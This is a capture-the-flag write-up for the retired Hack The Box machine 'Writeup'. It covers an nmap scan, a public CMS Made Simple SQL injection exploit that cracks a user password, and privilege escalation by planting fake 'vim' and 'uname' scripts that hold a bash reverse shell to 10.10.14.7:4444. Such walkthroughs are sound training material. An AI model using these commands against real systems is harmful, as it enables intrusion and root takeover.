||08 Jun 2019
||12 Oct 2019
||Easy - Retired 
||artikrh 00 days, 00 hours, 16 mins, 19 seconds
||qtc 00 days, 01 hours, 08 mins, 18 seconds
||CherryTree - Remove the .txt extension
Again, we start with nmap -sC -sV -Pn -p- -oA ./Writeup 10.10.10.138
$ nmap -sC -sV -Pn -p- -oA ./Writeup 10.10.10.138
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 18:47 EDT
Nmap scan report for 10.10.10.138
Host is up (0.11s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 272.45 seconds
So, we are dealing with SSH, HTTP on their usual ports. Navigating to the HTTP side has a pretty dope/nostalgic/retro page on it that basically tells us that there's DoS protections in place. Like that would ever stop us, right everyone? <wink, wink, nudge, nudge> Although that does kind of kill the usual Gobuster/Dirb/Dirbuster plan.
We do know that there is a DoS Web App Protection script running, so brute checking directories is out, but we also know that /writeup is disallowed from the nmap script. Going into /writeup and checking the source code, we can see that it is using CMS Made Simple from around 2019 (copyright is 2004-2019). That means that it's somewhere between version 2.2.9 and 2.2.13. Running a quick CMS Made Simple 2.2 searchsploit finds a ready-made exploit for us to run some SQLi on.
So, let's run that and see what happens!
python 46635 -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: email@example.com
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9
Now we can ssh as jkr with raykayjay9 as the password. Run LinEnum and I see that jkr is in a group called staff. That's not a normal group..... Anything special about it?
jkr@writeup:~$ find / -group staff 2>/dev/null
It looks like we can pretty much do anything in /usr/local since staff owns it. Still not seeing an easy win here. Let's check PATH variables.
jkr@writeup:/usr/local$ echo $PATH
Well, there's something. We belong to the Staff group, which owns everything in /usr/local, and /usr/local/bin is the first place the system looks for a system command. Let's mock up a system command (a simple one like vim) with a reverse shell call in it and see if PATH runs it as root on a new login. The answer is no. Let's try it with uname instead since it looks like new ssh sessions run uname on login.
jkr@writeup:/usr/local$ cd /tmp
jkr@writeup:/tmp$ printf '#!/bin/bash' > vim
jkr@writeup:/tmp$ printf '\nbash -i >& /dev/tcp/10.10.14.7/4444 0>&1' >> vim
jkr@writeup:/tmp$ chmod a+x vim
jkr@writeup:/tmp$ cp vim /usr/local/bin
jkr@writeup:/tmp$ printf '#!/bin/bash' > uname
jkr@writeup:/tmp$ printf '\nbash -i >& /dev/tcp/10.10.14.7/4444 0>&1' >> uname
jkr@writeup:/tmp$ chmod a+x uname
jkr@writeup:/tmp$ cp uname /usr/local/bin
It looks like uname did the trick! Grab your goodies (flags, shadow file, ifconfig, etc) and you are finished!